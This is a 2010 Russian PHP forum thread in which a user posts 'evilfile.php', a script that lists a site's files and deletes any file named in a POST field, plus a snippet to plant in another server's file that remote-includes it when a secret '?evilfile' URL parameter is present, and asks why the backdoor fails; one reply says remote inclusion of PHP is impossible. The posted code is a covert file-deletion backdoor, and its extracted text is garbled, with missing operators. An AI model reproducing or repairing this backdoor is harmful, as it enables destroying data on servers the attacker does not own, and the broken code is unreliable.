Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5. На примерах. Авторы: Кузнецов М.В., Симдянов И.В., Голышев С.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Удаленный скрипт
 
 автор: aetern   (12.08.2010 в 00:15)   письмо автору
 
 

Написал скрипт, который выводит список файлов и позволяет их удалять и разместил его на сервере (http://site.ru/evilfile.php):
<?php 
function DirFiles($dir,$types
 { 
    
$files = Array(); 
    if(
$handle opendir($dir)) 
    { 
      while (
false !== ($file readdir($handle))) 
      { 
        if (
$file != "." && $file != ".."
        { 
          if(
is_dir($dir."/".$file)) 
            
$files array_merge($files,DirFilesR($dir."/".$file,$types)); 
          else 
          { 
            
$pos strrpos($file,"."); 
            
$ext substr($file,$pos,strlen($file)-$pos); 
            if(
$types
            { 
              if(
in_array($ext,explode(';',$types))) 
                
$files[] = $dir."/".$file
            } 
            else 
              
$files[] = $dir."/".$file
          } 
        } 
      } 
      
closedir($handle); 
    } 
    return 
$files
}
  
echo 
'<form action="" method="post"><select name="ext"><option>php</option><option>txt</option><option>css</option><option>html</option></select><input type="submit" value="Go"></form>';
if(!empty(
$_POST['delete']))
    {
      if(
unlink($_POST['delete'])) echo "Файл <b>$_POST[delete]</b> удален";
      else echo 
"Ошибка при удалении файла <b>$_POST[delete]</b>";
    }
elseif(!empty(
$_POST['ext']))
    {
      
$f=DirFiles($direkt,".".$_POST['ext']); echo "<b>Файлы сайта с расширением .$_POST[ext]:</b><br /><br />";
      foreach(
$f as $k=>$v) echo "<form action=\"\" method=\"post\"><input name=\"delete\" type=\"hidden\" value=\"$v\">$v <input type=\"submit\" value=\"Del\"></form>";
    }
?>


Вопрос:
почему, размещая на другом сервере в каком-либо из файлов код:
<? 
$direkt
=$_SERVER['DOCUMENT_ROOT'];
if(isset(
$_GET['evilfile'])) include("http://site.ru/evilfile.php");
?>

и прописывая вручную в урле ?evilfile код из http://site.ru/evilfile.php не работает???
Точнее не работает передача POST данных и функция?
Помогите разобраться.
Спасибо.

  Ответить  
 
 автор: aetern   (12.08.2010 в 22:28)   письмо автору
 
   для: aetern   (12.08.2010 в 00:15)
 

Молчание, я так понимаю, связано с тем, что это не правильно делать инклюды php-скрипта (с POST-ами) с другого сервера. Или это не возможно?

  Ответить  
 
 автор: Gubichev   (13.08.2010 в 00:48)   письмо автору
 
   для: aetern   (12.08.2010 в 22:28)
 

PHP скрипта невозможно

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования